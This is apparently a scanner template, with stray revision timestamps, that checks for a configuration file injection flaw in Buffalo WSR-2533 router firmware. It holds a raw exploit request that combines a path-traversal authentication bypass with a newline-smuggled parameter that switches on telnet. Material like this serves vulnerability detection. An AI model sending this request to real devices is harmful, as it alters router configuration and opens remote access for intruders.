2021-08-12 08:42:20 +00:00
id : buffalo-config-injection
info :
name : Buffalo WSR-2533DHPL2 - Configuration File Injection
author : gy741
severity : critical
description : |
The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially gaining remote code execution.
2021-08-19 13:59:12 +00:00
reference :
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- https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild
- https://www.tenable.com/security/research/tra-2021-13
- https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2
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tags : buffalo,firmware,iot
requests :
- raw :
- |
POST /images/..%2fapply_abstract.cgi HTTP/1.1
Host : {{Hostname}}
Connection : close
action=start_ping&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0A
ARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4
matchers-condition : and
matchers :
- type : word
part : header
words :
- "/Success.htm"
- type : status
status :
- 302
